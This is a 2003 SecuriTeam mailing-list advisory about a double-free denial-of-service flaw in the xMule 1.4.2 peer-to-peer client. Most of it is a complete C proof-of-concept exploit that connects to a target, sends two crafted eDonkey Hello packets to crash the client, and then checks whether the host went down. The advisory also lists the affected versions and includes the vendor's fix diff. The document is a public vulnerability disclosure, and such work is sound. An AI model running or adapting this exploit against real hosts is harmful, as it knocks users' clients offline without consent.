

[EXPL] xMule AttachToAlreadyKnown Double Free Vulnerability Exploit Code

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0022.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/07/03

To: list@securiteam.com

Date: 7 Sep 2003 19:01:01 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

xMule AttachToAlreadyKnown Double Free Vulnerability Exploit Code

SUMMARY

As we reported in our previous article: <eMule / Lmule / xMule Multiple Remote Vulnerabilities> eMule / Lmule / xMule Multiple Remote Vulnerabilities, a vulnerability in xMule allows remote attackers to cause a double free vulnerability in the product, thus causing the product to crash.

DETAILS

Vulnerable systems:

- * xMule stable version 1.4.2

Immune systems:

- * xMule stable version 1.4.3

Exploit:

/*

- * eMule/xMule/LMule AttachToAlreadyKnown() Object Destruction

Vulnerability

- * Denial of service proof of concept code

Securiteam: [EXPL] xMule AttachToAlreadyKnown Double Free Vulnerability Exploit Code

```
*
* by Rimi Denis-Courmont <exploit@simutrans.fr.st>
* http://www.simphelempin.com/dev/
*
* This vulnerability was found by:
* Stefan Esser <s.esser@e-matters.de>
* whose original advisory may be fetched from:
* http://security.e-matters.de/advisories/022003.html
*
* This code was tested "successfully" against xMule stable version 1.4.2,
* while xMule 1.4.3 was not vulnerable. It should also work against the
* following clients, but they were not tested:
* - eMule versions 0.29c and earlier,
* - xMule unstable versions 1.5.6a and earlier,
* - Lmule versions 1.3.1 and lower.
*/

/*****
* Copyright (C) 2003 Rimi Denis-Courmont. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without *
* modification, are permitted provided that the following conditions *
* are met: *
* 1. Redistributions of source code must retain the above copyright *
* notice, this list of conditions and the following disclaimer. *
* 2. Redistributions in binary form must reproduce the above copyright *
* notice, this list of conditions and the following disclaimer in the *
* documentation and/or other materials provided with the distribution. *
* *
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS" AND ANY EXPRESS OR *
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES *
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
*
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, *
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT *
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
USE, *
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY *
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF *
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *

*****/

/*
* Below is the fix as found in xMule 1.4.2; this is copyrighted material:
* Copyright (C)2002 Merkur <merkur-@users.sourceforge.net>
* http://www.xmule-project.net/
```

Securiteam: [EXPL] xMule AttachToAlreadyKnown Double Free Vulnerability Exploit Code

```
diff -u xmule-1.4.2/src/ClientList.cpp xmule-1.4.3/src/ClientList.cpp
--- xmule-1.4.2/src/ClientList.cpp 2003-04-11 11:31:18.000000000 +0200
+++ xmule-1.4.3/src/ClientList.cpp 2003-08-07 17:10:41.000000000 +0200
@@ -119,6 +119,9 @@
     for (pos1 = list.GetHeadPosition();( pos2 = pos1 ) != NULL;){
         list.GetNext(pos1);
         CUpDownClient* cur_client = list.GetAt(pos2);
+ if (tocheck == cur_client) {
+ return true;
+ }
         if (tocheck->Compare(cur_client)){
             if (sender){
                 if (cur_client->socket){
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netdb.h>

/* Define to 1 if you want to test whether host was killed. */
#define ATAK_TEST 1
#define USER_HASH "AToAK__DoS__vuln" /* 16 bytes */

int gai_errno = 0;

void
gai_perror (const char *str)
{
    if ((gai_errno == EAI_SYSTEM) || (gai_errno == 0))
        perror (str);
    else
        fprintf (stderr, "%s: %s\n", str, gai_strerror (gai_errno));
}

int
socket_connect (const char *hostname, const char *servname)
{
    struct addrinfo hints, *res;

    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = 0;
    hints.ai_flags = 0;

    if ((gai_errno = getaddrinfo (hostname, servname, &hints, &res)) == 0)
    {
        struct addrinfo *ptr;
```

Securiteam: [EXPL] xMule AttachToAlreadyKnown Double Free Vulnerability Exploit Code

```
for (ptr = res; ptr != NULL; ptr = ptr->ai_next)
{
    int sock;

    sock = socket (ptr->ai_family, ptr->ai_socktype,
        ptr->ai_protocol);
    if (sock != -1)
    {
        const int val = 1;

        setsockopt (sock, SOL_SOCKET, SO_REUSEADDR,
            &val, sizeof (val));
        if (connect (sock, ptr->ai_addr,
            ptr->ai_addrlen))
            close (sock);
        else
        {
            /* success! */
            freeaddrinfo (res);
            return sock;
        }
    }
    freeaddrinfo (res);
}
return -1;
}

int
send_hello (int fd/*, const void *userhash, size_t hlen*/)
{
    /*
     * Note that eDonkey is an Intel-centric protocol that sends/receives
     * everything in counter-network-byte order (ie. low order first).
     */
    uint8_t *buf =
        "\xE3" // protocol (eDonkey)
        "\x22\x00\x00\x00" // packet size
        "\x01" // command (Hello)
        "\x10" // user hash size
        USER_HASH // user hash
        "\x01\x00\x00\xff" // user ID = our IP
        "\x36\x12" // port on which to connect to us
        "\x00\x00\x00\x00" // tag count (MUST be <= 7)
        /* no tag for now */
        "\x00\x00\x00\x00" // server IP (0 = none)
        "\x00\x00"; // server port (0 = none, usually 0x1235)

    /*
     * We should put our real IP, randomize our user hash and add some tag
     * like real P2P clients here
    */
}
```

Securiteam: [EXPL] xMule AttachToAlreadyKnown Double Free Vulnerability Exploit Code

```
*/  
  
return (send (fd, buf, 0x27, 0) != 0x27) ? -1 : 0;  
}  
  
static int  
usage (const char *path)  
{  
    printf (  
"Syntax: %s <hostname|IP> [port]\n"  
" Attempt to crash eMule/xMule/LMule client <hostname|IP>\n"  
" ([port] is 4662 by default) through the\n"  
" \"AttachToAlreadyKnown Object Destruction vulnerability\"\n"  
" found by Stefan Esser <s.esser (at) e-matters (dot) de>.\n", path);  
    return 2;  
}  
  
int  
main (int argc, char *argv[])  
{  
    puts ("eMule/xMule/LMule AttachToAlreadyKnown() "  
"Object Destruction Vulnerability\n"  
"Denial of service proof of concept code\n"  
"Copyright (C) 2003 Rimi Denis-Courmont "  
" <remi-usenet3@simutrans.fr.st>\n");  
    if (argc < 2)  
        return usage (argv[0]);  
    else  
    {  
        int fd;  
        const char *host, *port;  
  
        host = argv[1];  
        port = (argc < 3) ? "4662" : argv[2];  
        printf ("Connecting to [%s]:%s ...\n", host, port);  
        fd = socket_connect (host, port);  
        if (fd == -1)  
        {  
            gai_perror ("Failure");  
            return 1;  
        }  
  
        puts ("Sending 1st Hello packet ...");  
        if (send_hello (fd))  
            perror ("Error");  
  
        puts ("Sending 2nd Hello packet ...");  
        if (send_hello (fd))  
            perror ("Error");  
        close (fd);  
    }  
}
```

Securiteam: [EXPL] xMule AttachToAlreadyKnown Double Free Vulnerability Exploit Code

```
#if ATAK_TEST
    puts ("Testing host ...");
    sleep (1);
    fd = socket_connect (host, port);
    if (fd == -1)
        puts ("Host seems DOWN (probably vulnerable).");
    else
        puts ("Host seems UP (probably not vulnerable).");
    close (fd);
#endif
}

puts ("Done.");
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:exploit@simphalempin.com>>
Rémi Denis-Courmont.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.